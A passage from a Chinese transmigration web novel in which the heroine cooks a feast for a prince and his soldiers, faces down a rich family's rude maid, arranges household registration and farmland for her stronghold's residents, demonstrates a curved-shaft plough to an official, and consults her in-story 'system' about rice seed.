陆令嘉顺着他举杯的双手看去。
手指修长,骨节凌厉,漂亮得像是一件艺术品。
这般美人,确实赏心悦目,也难怪原主会对他爱而不得,囚禁寨中。
谢昭再一次感到那滚烫的目光,脸颊薄红,略带慌张地放下酒杯。
沈煜还在不停地催促着:“快点啊,大家伙都等着你呢!快点快点,陆姑娘要不您先来!您是今日的主厨,您先动筷。”
陆令嘉看着他们这副迫不及待的模样,突然玩心大起。
她狡黠地笑了一声,清了清嗓子,说道:“不如我给大家介绍一下这几道菜吧?”
众人:“!!!”
25. 第 25 章
陆令嘉指着蛋炒饭,气定神闲地开口:“这道菜名为‘金玉满堂’,是由鸡蛋、米饭、青豆等一同炒制而成......”
“后面这道菜是叫‘玉茄藏珍’......”
谢昭看着她滔滔不绝的样子,倏然笑了一声。
他笑得很轻,几乎没有发出任何声音。
可就紧挨着他的陆令嘉却听到了。
抬眸望去,谢昭浓密细长的睫羽半阖,侧脸清雅俊秀,依然是那副疏离孤傲的模样,只是方才浅浅的笑意,让他整个人柔和了许多。
陆令嘉看着他的笑容突然就愣住了。
没记错的话,这是他们相识以来,她第一次见到他笑。一时没有防备,竟看得出神。
她心里叹了口气,默念了一句:果真是美色误人!
报菜名的游戏突然中断,加上周围灼灼的目光,她径直揭开了热锅上的盖子,笑道:“还是先吃饭吧!”
她夹了一筷后,众人便全都放开了手脚。
谢昭早就盯上那盘麻婆豆腐了,一伸手,直接舀了一勺到自己碗里。
入口酥滑,沾牙就化。
咸鲜微辣的口感混合着花椒的酥麻,在他的唇腔交织。
是熟悉中的味道!
正欲再舀一勺,骤然发现盘子里的豆腐已然空了,只余下一层浮在盘子上面的油渍,红得刺眼。
他忍了。
他伸手去夹别的菜肴。
糖醋里脊只剩下孤零几根,香辣虾还有三个虾头,酿茄子也只有上面几颗掉落的蒜泥......
“......”谢昭目瞪口呆,叹为观止。
这群人是饿死鬼投生的吗?!
他就只吃了一勺啊!
王太医那零星的几根胡子上,还沾上了不少还泛着油光的炒饭,简直不忍直视!
这还是一向稳重的太医吗?!
这是进击的野猪吧!
几人风卷残云地将桌上的菜肴一扫而净,全都意犹未尽地砸吧着嘴巴。
美味,这绝对是美味!
大家这么多年都是一起吃军营里的大锅饭,哪吃过这等美食啊!
麻辣的味道在他们的唇齿间回绕,一个个龇牙咧嘴伸着舌头吁吁呼气,却又异口同声地大呼过瘾!
仗义!王爷真是仗义!
沈煜举起酒杯站起身子,义薄云天地先开口喊道:“让我们一起敬王爷一杯,感谢王爷今天这么丰盛的招待!兄弟们以后上刀山下火海都会誓死追随王爷的!”
“敬王爷一杯!”
“干了!”
“谢谢王爷——”
......
“?”谢昭眼皮一跳。
被突如其来的恭维声整懵了。
这又是在做什么?
一旁的陆令嘉实在没忍住笑了出来,见众人转头看向自己,忙捂着嘴巴摆手:“我只是突然想到一个笑话,你们吃你们吃——”
谢昭看着一桌子残羹剩菜,本就冷峻的脸更是冷了几分,浑身上下都散发着冷气。
桌子上几乎就没有一盘完整的菜肴了,连蛋炒饭都被他们吃了个精光。
程掌柜全程更是缩着手,连筷子都抬不起来:
“陆姑娘——你看这......”
他跟这一群当过兵的抢菜,他抢不过啊!
“不好意思,是我没算准人数,疏忽了。”她抱歉道。
她哪知道这些人这么能吃啊。
程掌柜连忙投去一个感激的眼神。
陆令嘉起身,活动了一下筋骨:“我再去炒几个菜吧?王爷好像都没怎么动筷呢——”
话音刚落,谢昭一口水喝得太急,呛得他猛地咳嗽起来。
沈煜丝毫不在意他兄弟死活,只连连点头:“好好好,辛苦陆姑娘了,实在是您做的太好吃了我们一时之间没控制住。”
还是陆令嘉上前轻拍几下谢昭的后背,让他缓解不少。
“没事吧?”她礼貌地问了一句。
谢昭的脸色缓和了一点:“没事,有劳。”
麻婆豆腐的香麻感还萦绕在他的舌尖,他的脸上突然泛起红晕,也不是是因为辣的,还是方才呛住的......
陆令嘉见他没事,一点也不含糊,直接转身便准备去再炒制几个菜。
她正好欠着程掌柜的人情,今日替他招待好这一群“贵客”,就当还债了。
绕过大堂,正欲踏进后厨,就听到大堂里吵吵闹闹,似是有人在争吵。
她本不欲多管闲事,却听到一婢女打扮的人不依不饶,对着小二正发着脾气。
“刚刚我们这么多人都瞧见了,这么多菜送到里头那个雅间里去,凭什么我们就不能点?你们醉仙楼店大欺客是吧!知道我们小姐是谁吗?”
陆令嘉无奈摊手。
合着这冲突的起因还是因为她刚刚那几道菜。
她不是多事之人,但那婢女实在嚷嚷地厉害,声音响得不少客人抬头往这边看来,若是因着影响了酒楼的生意,倒是合不着了。
陆令嘉走向前去,小二一看见她的身影,陡然松了一口气,急忙向她求救:“陆姑娘,您看这......”
“发生了什么事?”
那婢女的眼睛将陆令嘉的全身扫视了一遍,颇有一种熟悉的感觉,但她此刻没多想,只重复着前面的要求:“你是掌柜的?我家小姐刚刚看到你们的小二端着一大盘菜去里头的雅间了,有些好奇,也想要点那几个菜。”
“谁曾想你们这的小二有眼无珠,一直跟我们说那是单独做给贵人们吃的,你听听这像什么话?合着我们小姐不是贵客吗?”
她叉着腰,趾高气昂地将小二痛骂了一顿,只差没有拿手指戳着他的鼻间了。
小二很委屈,大气不敢吭一声,只好眼巴巴地看着陆令嘉。
陆令嘉柔声道:“那几道菜确实是还没正式推出的,今日只是给雅间里的几位客官试一下口味的,您看要不今日我替这酒楼的掌柜做主,给您那桌多送一盘糕点?”
“原来你不是掌柜的,那你接什么话?”
那婢女从鼻孔里冷哼一声,不屑道:“谁稀罕那一盘糕点,我们家小姐就是要吃那几盘新菜,怎么他们能试得口味,我们小姐试不得?”
陆令嘉还真的没碰到过这么不讲理的人,也不欲再辩,正想让小二去请程掌柜自己出来解决,却发现他早已偷偷溜走了。
陆令嘉:“......”
怎么这一个两个队友,怎么都这么不靠谱的?
那婢女见她一时没有应话,更加得寸进尺:“识相的赶紧让你们掌柜的出来,把那几道菜原模原样地做一份端上来,否则,以后生意场上出了什么问题可别怪到我们楚家!”
楚家?
崖州当地的首富?
陆令嘉心里各种心思翻涌。
难怪这婢女有恃无恐,趾高气昂的,这是料定了没人敢得罪楚家。
但她可不想惯着这种狗仗人势的丫鬟。
还未等她出手教训,身后一阵怒气传来:
“一个小小的楚家竟然敢作威作福,真是让小爷我大开眼界!”
小二一溜烟地跟着沈煜跑了过来,冲着陆令嘉不断地使着眼色。
这雅间里一群的贵客,事情也算是
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因着他们而起,他跑去搬个救兵不过分吧?
沈煜一听陆令嘉因为给他们做菜被人拦在外面,第一个冲了出去。他常年跟着王爷征战沙场,脾气本就火爆,这陆姑娘给他们做了这么一大桌子菜,他们想请她再做几道都客客气气的,居然有人这么没有眼力见还想从他们口中夺食?
他本就人高马大,现下又带着一身煞气,冲着这个婢女面露凶色,竟还真把她镇住一二。
等那婢女缓过神后,发现自己竟被这么一个穿着花哨的男子威吓住,自觉丢脸,直接伸手指着他骂道:
“岂有此理!简直岂有此理!你们醉仙楼如此店大欺客,等我们回去后定要好好宣扬一番,看看还有谁会来你们这用餐!”
沈煜管她是谁,长袖一挥,一股浑厚的气劲随之迸发,那婢女不由自主地踉跄后退,直接跌坐在地。
“哎哟——”她吃痛地呼喊一声,愤恨地瞪着眼前这个害她跌倒的男子。
沈煜甩开折扇,看着地上的人不由笑起来:“大家伙刚刚可都看到了的,我可是压根都没碰到你,不兴这般碰瓷的。欸,你说你一个姑娘家家的,怎么脸皮如此之厚,你真这么想吃这些菜可以跟人掌柜的好好说道说道,何必非得躺在地上一哭二闹耍赖的,怎么就这么馋呢?”
“你…你……!”
那婢女饶是再怎么刁蛮,被沈煜这么一通说道,刚刚嚣张的气焰也全部消失,手掌撑地迅速爬起身子跑进另一间雅间里头了。
沈煜悠闲地摇着折扇,冲着陆令嘉摇头:“现在什么阿猫阿狗都能出来充个大王了,刚刚那架势,我还以为是陛下亲临了,还让醉仙楼开不下去,我呸!说大话前也不怕闪了舌头!”
陆令嘉嘘了一声:“可不好胡说。”
她这才抬眼仔细打量起眼前的这个花蝴蝶。此人虽然聒噪了一些,为人却不失豪爽,遇事也能挺身而出。
只可惜如今少年意气风发,却要因为跟着书里的反派男配造反,无故惨死收场。
她的眼神中不由地带上了一丝怜悯。
沈煜见了连忙卖乖:“陆姑娘,现在讨人厌的苍蝇走了,不知...?”
陆姑娘刚刚怎么用那般的眼神看着他,让他自己也觉得确实有这么一丝可怜。
饭没吃饱就来吵架,着实影响他发挥了。
陆令嘉满脸黑线。
把人赶了回去,自己转身去了后厨。
后厨的方大厨也正忙着炒着前头客人们点的菜式,看到陆令嘉进来,也顾不上锅里的火候,举着铲子就迎了上来。
“师父,您怎么又回来了。”
“额...他们人比较多,不够吃,我再来做几道菜。”
“您请,您请,徒儿手里这道菜马上炒完。”
方大厨又翻炒两下,出锅盛盘,呼着小二把菜端了出去。
小二进来端菜的时候又交代了一句:“方大厨,后头还有好几位客人等着呢,速度可要快点!”
方大厨不耐地回道:“知道了。”没看到他正跟他师父交流心得吗,烦人!
陆令嘉拿起旁边另一个闲置的锅,烧柴起火,冲着他笑道:“你先忙着,等改日我再教你几道拿手菜。”
方大厨这才笑开了花,兴冲冲地跑回去,还不忘转头对着陆令嘉点头哈腰,抱拳致谢:“好嘞,多谢师父!”
陆令嘉想着那一群人的食量,又做了一锅红烧肘子、东坡肉和蟹粉狮子头。
全是硬菜,这总够他们吃了吧?
她看到方大厨时不时转过来一脸傻笑的模样,顺便把他新炖好的椰子鸡也端走了。
反正花的不是她的钱,她不心疼!
26. 第 26 章
小二又紧着给他们那一桌子的人上了一大桶米饭。
几人就着这些下饭的肉菜,全都敞开了肚子,吃得是那叫一个喷香。
程掌柜也趁着间隙抢到了不少菜肴,美美地饱食了一顿。
觥筹交错间,几人也与程掌柜熟稔起来。
沈煜勾着他的肩膀,跟他开始称兄道弟:“刚刚有个丫鬟在你这酒楼大放厥词,说她是楚家的人,我替你教训她了!别怕,以后出了问题就找我和王爷,我们给你解决!”
程掌柜一听,“啊”了一声,酒瞬间醒了大半,他看着旁边醉醺醺的沈煜,急道:“沈将军,你方才说什么?我是不是耳朵不好使了,听岔了?”
“没有啊!”沈煜一手搭在他的肩上,一手举着酒壶,双颊微红:
“刚刚有个人自称是什么楚家的丫鬟,拦着陆姑娘胡搅蛮缠,我替你打发走了,她后面要是来找你麻烦你尽管来找我,什么人啊在这大放厥词,小爷听得耳朵都嫌脏,你说是不是啊子期!”
他搭在程掌柜肩上的手一撤,走到谢昭旁边跟他碰了个杯,不满地嘟囔:“你今天怎么不喝啊!你以前不是很能喝的吗?”
谢昭举起身前的酒杯,里面的酒早已被他不动声色地换成了白水,他假意呷了一口,示意沈煜可以走了。
沈煜却不依不饶,非要他整杯干完。
谢昭无奈,只好端起酒杯,将杯中的白水一饮而尽。
沈煜这才笑了起来,拍拍他的后背,“这才是我认识的谢子期!豪爽!刚刚我说的话你听见没?要是程掌柜有事,你可得出面!”
“嗯,我罩着。”毕竟这顿饭不能白吃。
“有你这句话就够了。”沈煜冲着惊甫未定的程掌柜又喊了一声,把他的魂终于喊了回来。
“程掌柜,这下你总不担心了吧?王爷亲自开口了。”
程掌柜赶紧跑过来连连拱手:“多谢王爷,多谢沈将军!”
“程掌柜,别这么见外!你这菜肴这么好吃肯定不愁生意!咱们交情归交情,今天这顿饭你适当地抹个零头就行,到时候就记我们王爷账上!”
谢昭正准备再夹一个红烧肘子的手一顿。
“......”谢昭,“?”
这话怎么听着有种淡淡的熟悉感?
这小子怎么净逮着他一个人薅?
酒桌上,除了谢昭,他们一个个都喝得深陷迷离,配着佐菜,从未如此快活过。
他们往日里杀伐征战,饿急眼的时候甚至扒着树皮就直接啃了。
今日有酒有肉,还不用担心明日会暴尸荒野,心情也跟着愉悦起来。
往日的那些个兄弟们兴许现在还在大西北吃着沙子呢!
沈煜也是头一次放松下来。
昔日他身为副将,除了要冲锋陷阵,还得实时注意敌方军情,哪有这般闲情逸致?
他觉得跟着王爷来这崖州还真是来对了。
除了地方确实偏了一点,交通不便一点,哪哪都好。
他快活地跟王太医碰着酒杯,再夹几块东坡肉品鉴着美食。
东坡肉肥而不腻,肉质酥软,入口即化。一口咬下去,肉汁在口中爆发出浓郁的酱香,欲罢不能。
沈煜还欲再夹一块,筷子还未落下,就被另一双挡住。
他顺着筷子向上望去,王太医夹走了盘子里最后一块东坡肉,正冲着他得意地笑着,张嘴就是半块下肚,美哉美哉!
沈煜气愤地拍打了这只慢了一步的右手,目光幽幽:“王太医,年纪大了,还是少吃点这些油腻的食物吧,担心不好克化!”
“放心,老夫回去就给自己煮些健胃消食的汤药,不碍事,不碍事!”
......
众人吃饱喝足,又冲着谢昭行礼道谢。
不为别的,方才他们可都听见了。
这么一顿饭就要三十两银子,那可是他们一年的俸禄了!
好在王爷俸禄比他们高,平日里可以找机会多薅些王爷的羊毛,嘿嘿!
谢昭面无表情地数着银子准备付钱。
掏完银子抬眸,正好看到一旁与众人言笑晏晏的陆令嘉。
许是刚刚在后厨忙活久了,她的发丝有几缕散落下来垂挂在肩上,对上他的视线后,莞尔一笑。
谢昭有一瞬的失神。
也仅仅只是一瞬,很快又恢复回了往日里清冷自如的神态。
几人正欲告辞,另一间雅间的门也打开了。
一女子身着粉色罗裙,头上簪满珠花,在旁人的搀扶下款款而出。
她身子婀娜,举止端庄,目光盈盈秋水间便让人觉得雍容华贵。
沈煜率先认出人来,翻了个白眼,“真是冤家路窄。”
然后对着旁边的谢昭冷哼一声:“刚刚就是旁边那个穿着绿裙子的丫鬟对陆姑娘口出狂言!我看她怎么都是一副小人得志的模样!”
谢昭冷眸抬起。
那丫鬟也认出了他们,凑在旁边那位小姐的耳根子边上小声嘀咕了两句。
那小姐盈盈走来,打量了一下几人,中规中矩地行了个礼。
“我这丫鬟平日里脾气素来暴躁,若方才多有得罪,我向几位赔个不是。”
她对着后面已然呆滞的丫鬟喊道:“碧玉,向几位贵人道歉。”
“啊?”那名唤作碧玉的丫鬟这才反应过来,不情不愿地上前,冲着几人一拜,算是赔罪。
“此事权当是个误会。见几位脸生,是初来崖州吗?恰好我对崖州比较熟稔,不知是否需要……”
沈煜白了个眼:“你管我们什么时候来的?既然道过歉了这件事就这么算了。其他便不必了,你们走吧,小爷原谅你们了!”
“大胆!”碧玉呵斥一声,“小姐纡尊跟你们赔罪已经是天大的面子,你们竟然还敢......”
“碧玉!”楚玉娇疾言厉色,打断了她。
“不打扰几位雅兴了,这顿饭便由我来买单,就当是赔罪了。”
她冲着程掌柜点头示意,“还请掌柜一同记在楚府的账上,明儿我派人过来一起结。”
“谁稀罕你买单!我们王爷有钱!”
沈煜不理会她的示好,拽着谢昭就就开始阴阳:“子期快去结账,省得到时候楚家小姐一不高兴,咱们可就在整个崖州城都混不下去了!”
谢昭清冷疏离的脸上终于有了一丝表情。
他瞟了一眼身旁端庄大方的楚家大小姐,眼神又鬼使神差地穿过人群,锁定了那个正眉飞色舞的人。
陆令嘉一边与旁人说着话,一边用手比划着,眉眼弯弯,生动无比。
谢昭慢吞吞地把账结完,正欲告辞。
抬眸见对方没有任何看过来的意向,移开目光,身上冷气更甚。
“走了。”他朝着沈煜说了一句。
沈煜略带醉意
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地跑到前台跟他们打了声招呼,急匆匆地跟上谢昭的脚步。
“谢子期你走这么快干嘛?欸你慢点...等等我......”
谢昭的脚步越发快了。
楚玉娇见状,只在他们路过的时候又规矩地施了一礼。
随后礼貌地跟着走了出去,未加纠缠,进退有度。
待上了马车,楚玉娇才缓缓开口:“碧玉,你说实话,方才在酒楼你怎么得罪他们几个人了,一五一十地给我说清楚,不然不要怪我回府家法伺候!”
碧玉头一次见小姐发火,一时竟忘了方才让她道歉的屈辱,在马车上小声嗫嚅,断断续续地把刚刚发生的事情说了一遍。
“我就是生气,小姐说见到那几道菜样式新鲜想尝尝,我便去问了,哪知道他们几人蛮不讲理,就是不肯给我们做,我一气之下才将身份表明。”
楚玉娇闭上眼睛,还没从刚刚那个震惊的心绪中缓过来,她的胸口此起彼伏,强行抑制住怒气:“碧玉,你差点害死我们整个楚家!”
碧玉被吓得不敢出声,低垂着头甚至不敢看自家小姐。
另一婢女翠荷小声地开口询问:“小姐,可是那几个人身份贵重?”
“贵重?”楚玉娇轻斥一声,“整个崖州不会再有人比他们身份还要更贵重了。你没听到刚刚那人称呼他旁边的人什么吗?崖州城里有几个王爷?”
“莫非是——”翠荷惊呼一声。
碧玉立马吓得瘫倒在车厢里,口中不断哀求:“小姐对不起,我不知道他们的身份!我真的不知道!”
“从今日起,你不必再跟在我身边了。”楚玉娇淡淡地开口,“若是日后再被我发现你仗着楚家的身份在外头作威作福,就便不必再留在府里了。”
今日是她运气好,及时发现那人衣裳上的绣纹和腰间那枚价值连城的玉佩。
倘若没有呢?任由一个小丫鬟挑拨离间,搬弄是非,楚家百年的基业,必会毁于一旦。
楚玉娇眸色晦暗,手中的帕子不自觉地捏紧。
得想个办法改善一下他们几人对楚家的看法。
-
天色已经不早,陆令嘉只跟程掌柜说好待明日再来继续教方大厨剩余的菜谱。
方大厨听完眼睛瞬时一亮,将抹布甩得那叫一个百转千回,幽幽道:“师父,那徒儿明日可等着您~”
陆令嘉:“......”
至于那三十两银子,程掌柜本不好意思收下。
本就是他说得要做东请大家吃饭,结果菜是陆令嘉烧的,银子是谢王爷自己掏的。
整得他像是强买强卖似得。
他拿出二十两分给陆令嘉:“今日都是陆姑娘在忙活,左右这银子也该分你一些。”
陆令嘉将银子推了过去:“程掌柜这就未免太多虑了,您把这么好的田地卖给我,还未道谢,这些小事举手之劳罢了。”
程掌柜见她不收,心想着她后面还要付给自己田地的银子,届时直接将这些银子从里面抵扣算了。
他乐呵呵地将银子交还账房,亲自送陆令嘉出了酒楼门口。
这陆姑娘来头是真大。
且不说赵大人与她来往,没想到她竟与平南王也有交情,见两人言语间像是早已相识的朋友。
程掌柜目送她离去,将手背过身后,摇晃着回了酒楼。
这一个小小的崖州城呐,真是藏龙卧虎啊!
27. 第 27 章
陆令嘉回到寨子时,天已经黑得深沉,夜风吹得树枝簌簌作响。
寨子里大部分的人想必都已经睡着了。
她看着漆黑一片的茅屋,只有零星几间还亮着微弱的烛光。
自从他们能自己熬制椰子油后,寨子里的油是不缺了,就连之前点灯这般奢侈的事情,现在也变得稀松平常。
陆令嘉辨别了一番,是四叔还有石头的房间还亮着。
她思虑片刻,敲响了四叔的房门。
四叔披着一身薄薄的外衫,从门框里露出头来。
烛光下,她画的图纸正摆在桌子正中间,旁边摆着笔墨,还有几张纸张,上面都是四叔方才的涂画。
刚刚听到敲门声,他还以为是谁呢,见到来人后他有些惊讶,不禁问道:“陶陶,这么晚了有什么事吗?”
“四叔,确实有些事,方便进屋说吗?”
四叔连忙侧身让开一条缝隙,陆令嘉顺着走了进去。
房间里一应物件都十分齐全,柜子、桌子、板凳,一看都是出自同一人的手艺。
四叔没有娶亲,屋子里也就只有他一个人,即使里面堆满了各类工具木材,看着也是冷冷清清。
陆令嘉将今日与赵昶所说的话重复了一遍,征求他的意见。
“四叔,别的我倒是不担心,只是重新落了户后,怕你们日后会免不了兵役和劳役。”
四叔无所谓的摆摆手,反过来宽慰她:“该到了那个时候,怎么样都跑不了。你以为我们一辈子躲在这山上就安全了吗?若是官府寻个理由上山来剿匪,怕是大家伙都得被他们抓去。”
他将身上披着的衣裳穿好,又加了点油进去。
火苗倏地拔高,阴暗的屋子瞬间亮堂了起来。
四叔的脸庞在灯火的映照下逐渐清晰,他左不过也只有二十几岁,大概跟陆令嘉在现代的年纪相仿,却看透顿悟了人生一般,语重心长地说道:
“陶陶你的想法是对的,与其一辈子在这山里躲躲藏藏,有朝一日若能有一个正大光明的身份能走在阳光底下,不管其他人怎么样,我是愿意的。”
“你放心大胆地去做,四叔在你身后支持你!”
一向寡言的四叔突然絮絮叨叨地跟她推心置腹说了这么长的一段话,陆令嘉还有些不适应。
不过她现下已经知道四叔的意向,只是不知道其他几位叔叔还有寨子里其他人的想法如何。
若真是不愿的,就把买田的银子一分,当做散伙费?
是不是太简单粗暴了一些......
她在四叔这又聊了一会儿,直到烛光又渐渐黯淡微弱,她才起身离开。
陆令嘉看着另一间石头的屋子还亮着灯光,不知道这么大晚上他在做些什么。
已然快到子时,她不欲再多打扰他人,转身回了自己的屋子。
-
翌日一早,伴随着公鸡的打鸣声,大家伙早早地就起床了。
用过早饭,陆令嘉便扔下一颗地雷,激起千波浪。
“寨子里有没有人愿意重新落户在崖州的?举手示意一下。”
众人面面相觑,你看看我,我看看你,一时都没人响应。
四叔按昨天晚上说的,擦擦嘴唇,第一个举手支持,“我落户,以后要是娶了媳妇儿生了大郎,总不能也让他们跟着我一辈子窝在这山上。”
陆六叔第二个举手支持,他手里还捏着没吃完的半个馒头,那叫一个悔恨。
一下子没留神,竟被陆老四抢先了!
石头几人也跟着赞成,表示想要在这里彻底安定下来,好好过日子。
陆五叔面露疑云,右手握拳抵住嘴唇轻咳两声:“咳咳...陶陶,倘若吾等将户籍安落于崖州城,他日是否也能有机会踏上科举之路?”
陆令嘉没想到五叔会问出这么奇特的问题。
不过结合他平日里一副之乎者也的模样,倒也不奇怪。
她茫然地点头:“是啊,既然有了户籍,再找同乡作保,就能参加科考了。”
陆五叔理理衣襟,伸手捋了捋并不存在的胡子,语气温和:“既如此,小生愿意,待来年科举也去试上一试。”
陆令嘉直接略过他的一系列浮夸的动作,抬头继续问着众人:“其他人呢,都愿意吗?”
陆二叔和陆三叔对视一眼,眉头紧蹙,整张脸皱在一起,一时都没有说话。
陆老二本不想再当这个出头鸟,可现下还是得问个清楚。
“陶陶,这落了户籍,日后是不是就要去服兵役和劳役?”
陆令嘉没有隐瞒:“没错,特别是家里丁多的,父死子继,都免不了有一个要去服役。”
“当然,赋税也免不了。”
这个年代,只要沾上服役二字,众人都是胆战心惊。
太多因为服役而家破人亡的事情发生,这也是无可避免的。
寨子里有几名男子顿时愁眉苦脸,心情低落。
要说他们不想落户,那肯定是假的。
有了户籍,不管做什么都是光明正大,最起码不用再东躲西藏。而自己的子孙后代也像陆老五说的,可以考科举,不用跟他们一样,一辈子当山匪,或者只能做个庄稼把事。
但是,兵役......
这是怎么绕也绕不过去的一道坎。
几人犹犹豫豫,一时都拿不定主意。娶了媳妇的,望着媳妇叹气,没有娶媳妇的,像吴老三等人,有两个跳了出来:
“大当家,别人在不在这里落户我管不着,反正我吴老三一个人独来独往惯了,我就不来掺和这档子事了!”
他眼里闪着精光。
谁知道这是不是大当家挖的坑,他可不往下踩!
“好!”陆令嘉应了一声,尊重他的选择,又问了一遍:“还有谁不想的吗?”
周围都是窸窸窣窣的议论声,一时没人回答。
“若是都愿意,我便做主替大家都应下了,明日一同去府衙办理即可。”
吴老三旁边一男子也跟着弱弱地发出声音:“大当家...我...我也选择就待在寨子里,哪也不去。”
陆令嘉扫了一眼,这个人叫张四平,平时都是跟吴老三混在一起,性子比较怯弱,因着两人都没有娶亲,暂时住在一起。
“行。”她爽快地应下。
“二叔、三叔,你们呢?”
陆二叔纠结来纠结去,一双手是放在膝盖上不停地摩挲着,十个手指交缠握拳,最后深吸一口气,才将拳头堪堪松开。
“落吧。”
交点赋税总比一辈子黑户强。
而且他还准备和钱氏再要一个娃的。
陆三叔温柔地笑着:“都听陶陶的。”
此间事了,陆令嘉带着全寨子人的希望直奔崖州城府衙。
往日里,她每每来县城,一看到主街的府衙腿就不自觉发软。生怕一不小心就被验明身份,全寨团灭。
马上她就要有正儿八经的身份了,再也不用担心这个事情了,晚上也不用再怕做噩梦了!
陆令嘉掏出了昨日赵昶给的令牌,向门口的衙役表明身份。
凶狠的衙役立马换了一副面庞,客气地将人往后院带去。
温文尔雅的赵大人此刻正穿着一身棉布短打上衣,脚
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踩在板凳上正吱嘎吱嘎地锯着一块木头。
见到来人,这才将手中的工具放置一旁,拿起一旁的帕子擦拭汗水,再将人引到里屋。
“没想到姑娘来得这般早,这幅模样倒是让你见笑了。”
陆令嘉顺势坐下,呷了一口茶水,捏紧茶杯笑道:“大人不拘小节,亲力亲为,倒是让我钦佩。”
赵昶闻言将手轻拍几下,上面红彤彤一片茧子,实在无法让人忽视。
他爽朗地哈哈大笑:“姑娘的图纸着实新奇,每每让我欲罢不能,只想彻夜研究个痛快!”
“赵大人若感兴趣,我这还有许多未完成的图纸,日后可以与大人探究一二。”
“当真?”赵昶眼睛一亮,眸子里是掩不住的喜色。
“自是不敢妄言。”陆令嘉转动着手中的茶杯,眼睛直勾勾地看向对方,“只是不知大人先前答应我的事......”
“自然,自然。”
赵昶起身,走到桌案前拿出一本厚厚的户籍簿,手指翻动,最后停留在一页。
“我昨日翻遍府城造册,崖州城人口分散,现有八千余户,约二十五万人,你说你们村里一共三四十人,落户完全没有问题。”
陆令嘉将茶盏放下,起身一拜:“劳烦大人。”
“这便是‘黄籍’,日后若载迁徙需先申请办理“更籍”手续。登记完成后你们的户籍便由府衙掌管,五里为乡,四家为邻,凭户口簿籍,编列什伍,征调赋役。”*
征收赋税也是免不了的,陆令嘉心里也做好了准备,她点头表示了然。
赵昶将册子合上,见她没有异议,又多说了两句。
“既然姑娘决定在崖州落户,缴纳赋税,本官也不能让你白白吃亏。”
他又打开一本“鱼鳞册”,手指在上面凌虚画了一个圈。
“昨日你不是问我,说想在城里买田吗?就在这里一侧的山脚边,那有一片荒地,只住着零星几户人家。我便做主把那块地划分给你们,按照惯例,约莫每人也能分到二十亩地左右,但是开荒等一应事由得你们自己来了。”
陆令嘉大喜过望!
按理来说,只有成年男丁入籍造册之后才可以分到田地。听赵大人这意思,是不管男女,人人有份。
陆令嘉本以为同时替他们这么大批人办好户籍已是不易,没想到后面还有更大的惊喜等着。
现在还是按丁征税的年代,若是寨子里的几个女性没有田地,恐怕真的会饿死,更别提交上赋税了。
不管如何,陆令嘉还是表达了一番谢意。
要说还是得官府有人,不然这种好事能轮得上她们?!
她弯着杏眸,拱手道谢:“有劳赵大人替我们忙前忙后了!”
“小事,小事!”赵昶不以为意,只让她明日带着人过来领户册即可。
虽然他头上现在还有一个县令顶着,但这落户和分地这种小事他还是能做主的。
府衙清静,街外熙攘的喧哗全被厚重的围墙隔离开来,只有院中风吹琵琶,声声作响。
两人坐在屋里干巴巴地喝茶,谁都没有再开口。
陆令嘉本想告辞,赵昶却先率然起身。
他趁着天色尚早,也不想浪费时间,直接将人带到方才的院中,虚怀若谷地求教:“这就是姑娘所画的‘曲辕犁’,还望您不吝赐教,此物具体该如何使用。”
陆令嘉看着差不多成型的曲辕犁,不禁佩服。
没想到赵大人还是做木工的一把好手,只一个晚上便能将这东西还原了十之八九。
她弯腰将绳索套在自己身上,直接朝着赵昶演示一遍。
28. 第 28 章
“妙哉!妙哉!”赵昶看着地上快速翻动的泥土,猛地瞪大了眼睛,嘴角不由地咧开上扬,兴奋的血液在他身体里翻涌。
若他现在还在工部,定要将此物全面推广。
但此时此刻,他身为崖州的县丞,若能使整个崖州城的百姓都用上这“曲辕犁”,耕种的效率也能大幅度的提升,他也不枉身为一个父母官!
崖州的田地四处分散,山地崎岖。他们现下用的直辕犁在耕地时每到转弯时便要重新套转,十分不便。
而曲辕犁的出现,可以更加省力地将翻起的泥土推向侧边,且转向灵活,轻便简单,能节省不少人力畜力。
哪怕是一户人家中青壮力不够,即使是女子,也能轻松地翻地播种。
陆令嘉将看着被她翻地满是泥泞的院子,还心想着是不是要帮忙填平。
再一抬头看到满眼冒着亮光的赵大人,现在根本无法顾及这些!
陆令嘉欣赏这样一心为民的大人,对着他制作的辕头犁盘提出一些额外的建议。
“若是通过提起犁评使犁箭上下移动,是否就能调节梨铧入土的深度?再加上犁建,也许就能实现精耕细作。”
赵昶一副将她引为知己的模样,激动地哆嗦着双手,请她再坐下来细细详谈。
对啊!他怎么就没想到这个问题!
他看向陆令嘉的眼神愈发炙热了,这姑娘绝对是一个木工世家出身,不然怎么会如此了解这些工具的制造使用?
看来他刚刚给的条件还是不够丰厚。
赵昶当即拍板:“方才我说的荒地前面再给你们划出一块,以后可以在那边上盖几间屋子,方便居住!”
陆令嘉被突如其来的馅饼砸晕了。
这赵大人原来竟是木工痴迷爱好者。
那她以后可以投其所好,抱紧这条大腿了!
她连连道谢,恨不得当场就领了户册好好去看看分给他们的地是在哪里。
但眼下,寨子里的其他人还没到齐,她身上的银子也没凑够,再加上吴老三和张四平不愿意落户,还得琢磨琢磨到时候应该怎么开口“分家”合适。
来这个世界已然两月有余,说长不长,说短不短。
她也慢慢融入到这里的生活当中。
虽然磕磕碰碰,但俨然成了寨子里的主心骨。大家基本上有什么小事都喜欢来找她拿个主意。
大当家这个职业,真是不好当啊!
-
陆令嘉出了府衙就准备去杂货铺买种子。
两个月前,她还揣着全身上下仅有的两枚铜板独身来了县城卖油卖糖。
如今有了自己的田地,也有了在这个世界生存下去的资本,可以好好规划接下来的路了。
但到了杂货铺后,她挑挑拣拣,有些嫌弃。
杂货铺的种子良莠不齐,表面有裂纹的,稻壳颜色暗淡的,稻粒干瘪的......
她一眼就能辨认出这些稻种质量不行。
稻种的质量直接影响了稻苗的出芽率,这些内部就受损的种子,怕是播种后很难长出健壮的稻苗。
况且稻种里有太多的杂质,也容易感染病虫害,得纹枯病。
陆令嘉只好求助系统:“系统系统,呼叫系统。”
【请问宿主有什么需要帮助的?】
“你这商城里的稻种是现代的杂交稻吗?”
【宿主,商城里的稻种是当下这个时代里品质上等的种子,并不是来自现代。】
“为何不能直接提供现代的杂交稻种,直接能提升不少产量呢。”
【请宿主明白,虽然现代的稻种产量高,但在崖州,气候炎热湿润,晚稻抽穗期间若多雾,这里的肥料和灌溉技术跟不上,稻谷便容易得稻瘟病,进而还会影响其他作物的生存环境。】
系统的一通解释,陆令嘉只能摊手认了。
若是这里的水稻得了稻瘟病,她还真的束手无策。
“那我应该买什么稻种呢?杂货铺这些种子质量实在太差了。”
